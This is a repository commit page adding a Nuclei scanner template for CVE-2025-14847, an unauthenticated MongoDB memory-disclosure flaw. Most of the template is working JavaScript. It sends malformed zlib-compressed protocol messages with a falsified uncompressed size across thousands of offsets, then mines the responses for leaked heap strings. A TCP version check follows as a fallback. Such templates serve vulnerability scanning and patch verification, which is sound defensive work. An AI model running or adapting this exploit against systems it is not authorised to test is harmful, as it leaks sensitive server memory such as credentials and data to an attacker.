mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-10 12:43:29 +08:00
Merge pull request #14595 from projectdiscovery/pussycat0x-patch-8
Create CVE-2025-14847.yaml
This commit is contained in:
444
javascript/cves/2025/CVE-2025-14847.yaml
Normal file
444
javascript/cves/2025/CVE-2025-14847.yaml
Normal file
@@ -0,0 +1,444 @@
|
||||
id: CVE-2025-14847
|
||||
|
||||
info:
|
||||
name: MongoDB Server - Information Disclosure
|
||||
author: pussycat0x,joe-desimone,DhiyaneshDK
|
||||
severity: high
|
||||
description: |
|
||||
Mismatched length fields in Zlib compressed protocol headers may allow a read of uninitialized heap memory by an unauthenticated client. This issue affects all MongoDB Server v7.0 prior to 7.0.28 versions, MongoDB Server v8.0 versions prior to 8.0.17, MongoDB Server v8.2 versions prior to 8.2.3, MongoDB Server v6.0 versions prior to 6.0.27, MongoDB Server v5.0 versions prior to 5.0.32, MongoDB Server v4.4 versions prior to 4.4.30, MongoDB Server v4.2 versions greater than or equal to 4.2.0, MongoDB Server v4.0 versions greater than or equal to 4.0.0, and MongoDB Server v3.6 versions greater than or equal to 3.6.0.
|
||||
impact: |
|
||||
Unauthenticated clients can read uninitialized heap memory, potentially exposing sensitive information.
|
||||
remediation: |
|
||||
Update to versions 7.0.28, 8.0.17, 8.2.3, 6.0.27, 5.0.32, 4.4.30 or later.
|
||||
reference:
|
||||
- https://github.com/joe-desimone/mongobleed
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
tags: cve,cve2025,mongodb,memory-leak,network,js
|
||||
|
||||
flow: javascript(1) || tcp(1)
|
||||
|
||||
javascript:
|
||||
- pre-condition: |
|
||||
isPortOpen(Host,Port);
|
||||
code: |
|
||||
const net = require('nuclei/net');
|
||||
|
||||
function uint32ToHexLE(value) {
|
||||
const bytes = [
|
||||
(value & 0xFF).toString(16).padStart(2, '0'),
|
||||
((value >> 8) & 0xFF).toString(16).padStart(2, '0'),
|
||||
((value >> 16) & 0xFF).toString(16).padStart(2, '0'),
|
||||
((value >> 24) & 0xFF).toString(16).padStart(2, '0')
|
||||
];
|
||||
return bytes.join('');
|
||||
}
|
||||
|
||||
function int32ToHexLE(value) {
|
||||
const unsigned = value >>> 0;
|
||||
return uint32ToHexLE(unsigned);
|
||||
}
|
||||
|
||||
const staticCompressed = "789c6360000211201648646004520003a60087";
|
||||
|
||||
function stringToBytes(str) {
|
||||
const bytes = [];
|
||||
for (let i = 0; i < str.length; i++) {
|
||||
bytes.push(str.charCodeAt(i));
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
function findBytePattern(bytes, pattern) {
|
||||
if (pattern.length === 0 || bytes.length < pattern.length) {
|
||||
return -1;
|
||||
}
|
||||
for (let i = 0; i <= bytes.length - pattern.length; i++) {
|
||||
let match = true;
|
||||
for (let j = 0; j < pattern.length; j++) {
|
||||
if (bytes[i + j] !== pattern[j]) {
|
||||
match = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (match) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
function extractStringFromBytes(bytes, start, maxLen) {
|
||||
let str = "";
|
||||
for (let i = start; i < Math.min(start + maxLen, bytes.length); i++) {
|
||||
if (bytes[i] === 0) break;
|
||||
if (bytes[i] >= 32 && bytes[i] < 127) {
|
||||
str += String.fromCharCode(bytes[i]);
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
function extractLeaks(responseBytes) {
|
||||
if (!responseBytes || responseBytes.length < 16) {
|
||||
return [];
|
||||
}
|
||||
|
||||
const leaks = [];
|
||||
let raw = [];
|
||||
|
||||
try {
|
||||
const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
|
||||
const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24);
|
||||
|
||||
if (opcode === 0) {
|
||||
raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
|
||||
} else if (opcode === 2012) {
|
||||
raw = responseBytes.slice(25, Math.min(msgLen, responseBytes.length));
|
||||
} else {
|
||||
raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
|
||||
}
|
||||
} catch (e) {
|
||||
raw = responseBytes.length > 16 ? responseBytes.slice(16) : [];
|
||||
}
|
||||
|
||||
if (raw.length === 0) {
|
||||
return leaks;
|
||||
}
|
||||
|
||||
const fieldNamePattern = stringToBytes("field name '");
|
||||
let searchPos = 0;
|
||||
while (true) {
|
||||
const pos = findBytePattern(raw.slice(searchPos), fieldNamePattern);
|
||||
if (pos === -1) break;
|
||||
|
||||
const actualPos = searchPos + pos + fieldNamePattern.length;
|
||||
let fieldName = "";
|
||||
for (let i = actualPos; i < raw.length && i < actualPos + 200; i++) {
|
||||
if (raw[i] === 39) {
|
||||
break;
|
||||
}
|
||||
if (raw[i] >= 32 && raw[i] < 127) {
|
||||
fieldName += String.fromCharCode(raw[i]);
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (fieldName && fieldName !== '?' && fieldName !== 'a' && fieldName !== '$db' && fieldName !== 'ping') {
|
||||
leaks.push(fieldName);
|
||||
}
|
||||
|
||||
searchPos = actualPos + 1;
|
||||
if (searchPos >= raw.length) break;
|
||||
}
|
||||
|
||||
const typePattern = stringToBytes("type ");
|
||||
searchPos = 0;
|
||||
while (true) {
|
||||
const pos = findBytePattern(raw.slice(searchPos), typePattern);
|
||||
if (pos === -1) break;
|
||||
|
||||
const actualPos = searchPos + pos + typePattern.length;
|
||||
let numStr = "";
|
||||
for (let i = actualPos; i < raw.length && i < actualPos + 10; i++) {
|
||||
if (raw[i] >= 48 && raw[i] <= 57) {
|
||||
numStr += String.fromCharCode(raw[i]);
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (numStr) {
|
||||
const typeByte = parseInt(numStr) & 0xFF;
|
||||
leaks.push(String.fromCharCode(typeByte));
|
||||
}
|
||||
|
||||
searchPos = actualPos + 1;
|
||||
if (searchPos >= raw.length) break;
|
||||
}
|
||||
|
||||
const invalidBSONPattern = stringToBytes("InvalidBSON");
|
||||
const bsonLengthPattern = stringToBytes("bson length");
|
||||
const hasInvalidBSON = findBytePattern(raw, invalidBSONPattern) !== -1;
|
||||
const hasBsonLength = findBytePattern(raw, bsonLengthPattern) !== -1;
|
||||
|
||||
let printableSeq = "";
|
||||
for (let i = 0; i < raw.length; i++) {
|
||||
if (raw[i] >= 32 && raw[i] < 127) {
|
||||
printableSeq += String.fromCharCode(raw[i]);
|
||||
} else {
|
||||
if (printableSeq.length >= 10) {
|
||||
const lower = printableSeq.toLowerCase();
|
||||
if (lower.indexOf('field name') === -1 && lower.indexOf('invalid') === -1 &&
|
||||
lower.indexOf('bson') === -1 && lower.indexOf('unrecognized') === -1 &&
|
||||
lower.indexOf('type ') === -1 && lower !== 'ok' && lower !== 'errmsg') {
|
||||
leaks.push(printableSeq);
|
||||
}
|
||||
}
|
||||
printableSeq = "";
|
||||
}
|
||||
}
|
||||
if (printableSeq.length >= 10) {
|
||||
const lower = printableSeq.toLowerCase();
|
||||
if (lower.indexOf('field name') === -1 && lower.indexOf('invalid') === -1 &&
|
||||
lower.indexOf('bson') === -1 && lower.indexOf('unrecognized') === -1 &&
|
||||
lower.indexOf('type ') === -1 && lower !== 'ok' && lower !== 'errmsg') {
|
||||
leaks.push(printableSeq);
|
||||
}
|
||||
}
|
||||
|
||||
if (hasInvalidBSON || hasBsonLength) {
|
||||
let currentStr = "";
|
||||
for (let i = 0; i < raw.length; i++) {
|
||||
const byte = raw[i];
|
||||
if ((byte >= 48 && byte <= 57) || (byte >= 65 && byte <= 90) || (byte >= 97 && byte <= 122) || byte === 95 || byte === 45 || byte === 46) {
|
||||
currentStr += String.fromCharCode(byte);
|
||||
} else {
|
||||
if (currentStr.length >= 10) {
|
||||
const lower = currentStr.toLowerCase();
|
||||
if (lower !== 'invalidbson' && lower !== 'field name' && lower !== 'unrecognized' &&
|
||||
lower !== 'bson length' && lower !== 'doesn' && lower !== 'match' &&
|
||||
lower !== 'what we' && lower !== 'found in' && lower !== 'object with' &&
|
||||
lower !== 'unknown id') {
|
||||
leaks.push(currentStr);
|
||||
}
|
||||
}
|
||||
currentStr = "";
|
||||
}
|
||||
}
|
||||
if (currentStr.length >= 10) {
|
||||
const lower = currentStr.toLowerCase();
|
||||
if (lower !== 'invalidbson' && lower !== 'field name' && lower !== 'unrecognized' &&
|
||||
lower !== 'bson length' && lower !== 'doesn' && lower !== 'match' &&
|
||||
lower !== 'what we' && lower !== 'found in' && lower !== 'object with' &&
|
||||
lower !== 'unknown id') {
|
||||
leaks.push(currentStr);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let hexStr = "";
|
||||
for (let i = 0; i < raw.length; i++) {
|
||||
hexStr += raw[i].toString(16).padStart(2, '0');
|
||||
}
|
||||
|
||||
let hexPos = 0;
|
||||
while (hexPos < hexStr.length) {
|
||||
let hexMatch = "";
|
||||
|
||||
while (hexPos < hexStr.length && ((hexStr[hexPos] >= '0' && hexStr[hexPos] <= '9') || (hexStr[hexPos] >= 'a' && hexStr[hexPos] <= 'f'))) {
|
||||
hexMatch += hexStr[hexPos];
|
||||
hexPos++;
|
||||
}
|
||||
|
||||
if (hexMatch.length >= 20) {
|
||||
try {
|
||||
const hexBytes = [];
|
||||
for (let i = 0; i < hexMatch.length; i += 2) {
|
||||
if (i + 1 < hexMatch.length) {
|
||||
const byte = parseInt(hexMatch.substr(i, 2), 16);
|
||||
hexBytes.push(byte);
|
||||
}
|
||||
}
|
||||
|
||||
let printableCount = 0;
|
||||
for (let i = 0; i < Math.min(50, hexBytes.length); i++) {
|
||||
if (hexBytes[i] >= 32 && hexBytes[i] < 127) {
|
||||
printableCount++;
|
||||
}
|
||||
}
|
||||
|
||||
if (printableCount > hexBytes.length * 0.5) {
|
||||
let decodedStr = "";
|
||||
for (let i = 0; i < hexBytes.length; i++) {
|
||||
if (hexBytes[i] >= 32 && hexBytes[i] < 127) {
|
||||
decodedStr += String.fromCharCode(hexBytes[i]);
|
||||
}
|
||||
}
|
||||
if (decodedStr.length >= 10) {
|
||||
leaks.push(decodedStr);
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
}
|
||||
}
|
||||
|
||||
if (hexPos < hexStr.length) {
|
||||
hexPos++;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return leaks;
|
||||
}
|
||||
|
||||
const minOffset = parseInt(MinOffset) || 20;
|
||||
const maxOffset = parseInt(MaxOffset) || 8192;
|
||||
const allOutput = [];
|
||||
let totalResponses = 0;
|
||||
|
||||
for (let docLen = minOffset; docLen < maxOffset; docLen++) {
|
||||
const bufferSize = docLen + 500;
|
||||
|
||||
let payloadHex = uint32ToHexLE(2013);
|
||||
payloadHex += int32ToHexLE(bufferSize);
|
||||
payloadHex += "02";
|
||||
payloadHex += staticCompressed;
|
||||
|
||||
const payloadBytes = payloadHex.length / 2;
|
||||
const messageLength = 16 + payloadBytes;
|
||||
|
||||
let headerHex = uint32ToHexLE(messageLength);
|
||||
headerHex += uint32ToHexLE(1);
|
||||
headerHex += uint32ToHexLE(0);
|
||||
headerHex += uint32ToHexLE(2012);
|
||||
|
||||
const fullMessage = headerHex + payloadHex;
|
||||
|
||||
try {
|
||||
const conn = net.Open('tcp', `${Host}:${Port}`);
|
||||
if (!conn) {
|
||||
continue;
|
||||
}
|
||||
conn.SetTimeout(10);
|
||||
conn.SendHex(fullMessage);
|
||||
|
||||
let responseBytes = [];
|
||||
while (true) {
|
||||
const chunk = conn.Recv(2048);
|
||||
if (!chunk || (Array.isArray(chunk) && chunk.length === 0) || (typeof chunk === 'string' && chunk.length === 0)) {
|
||||
break;
|
||||
}
|
||||
|
||||
const chunkBytes = [];
|
||||
if (Array.isArray(chunk)) {
|
||||
for (let i = 0; i < chunk.length; i++) {
|
||||
const byte = typeof chunk[i] === 'number' ? chunk[i] : parseInt(chunk[i]);
|
||||
if (!isNaN(byte)) {
|
||||
chunkBytes.push(byte);
|
||||
}
|
||||
}
|
||||
} else if (typeof chunk === 'string') {
|
||||
for (let i = 0; i < chunk.length; i++) {
|
||||
chunkBytes.push(chunk.charCodeAt(i));
|
||||
}
|
||||
}
|
||||
|
||||
if (chunkBytes.length > 0) {
|
||||
responseBytes = responseBytes.concat(chunkBytes);
|
||||
}
|
||||
|
||||
if (responseBytes.length < 4) {
|
||||
continue;
|
||||
}
|
||||
|
||||
const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
|
||||
if (responseBytes.length >= msgLen) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
conn.Close();
|
||||
totalResponses++;
|
||||
|
||||
if (responseBytes.length > 0) {
|
||||
const leaks = extractLeaks(responseBytes);
|
||||
|
||||
let hasLeaks = false;
|
||||
|
||||
for (let i = 0; i < leaks.length; i++) {
|
||||
const leak = leaks[i];
|
||||
if (leak && leak.length > 0) {
|
||||
hasLeaks = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!hasLeaks && responseBytes.length > 16) {
|
||||
try {
|
||||
const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
|
||||
const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24);
|
||||
|
||||
let raw = [];
|
||||
if (opcode === 2012) {
|
||||
raw = responseBytes.slice(25, Math.min(msgLen, responseBytes.length));
|
||||
} else {
|
||||
raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
|
||||
}
|
||||
|
||||
const invalidBSONPattern = stringToBytes("InvalidBSON");
|
||||
const bsonLengthPattern = stringToBytes("bson length");
|
||||
if (findBytePattern(raw, invalidBSONPattern) !== -1 || findBytePattern(raw, bsonLengthPattern) !== -1) {
|
||||
if (raw.length > 50) {
|
||||
hasLeaks = true;
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
}
|
||||
}
|
||||
|
||||
if (hasLeaks) {
|
||||
allOutput.push(`leak found at offset ${docLen}`);
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
}
|
||||
}
|
||||
|
||||
if (allOutput.length > 0) {
|
||||
allOutput.join('\n')
|
||||
} else {
|
||||
""
|
||||
}
|
||||
|
||||
args:
|
||||
Host: "{{Host}}"
|
||||
Port: 27017
|
||||
MinOffset: 20
|
||||
MaxOffset: 8192
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- response
|
||||
|
||||
tcp:
|
||||
- inputs:
|
||||
- data: 3b0000003c300000ffffffffd40700000000000061646d696e2e24636d640000000000ffffffff14000000106275696c64696e666f000100000000
|
||||
type: hex
|
||||
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
port: 27017
|
||||
read-size: 2048
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: raw
|
||||
words:
|
||||
- "version"
|
||||
- "maxBsonObjectSize"
|
||||
condition: and
|
||||
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "compare_versions(version, '>= 8.2.0') && compare_versions(version, '<= 8.2.2')"
|
||||
- "compare_versions(version, '>= 8.0.0') && compare_versions(version, '<= 8.0.16')"
|
||||
- "compare_versions(version, '>= 7.0.0') && compare_versions(version, '<= 7.0.27')"
|
||||
- "compare_versions(version, '>= 6.0.0') && compare_versions(version, '<= 6.0.26')"
|
||||
- "compare_versions(version, '>= 5.0.0') && compare_versions(version, '<= 5.0.31')"
|
||||
condition: or
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: version
|
||||
part: raw
|
||||
group: 1
|
||||
regex:
|
||||
- '(?s)version.{0,50}?([0-9]+\.[0-9]+\.[0-9]+)'
|
||||
Reference in New Issue
Block a user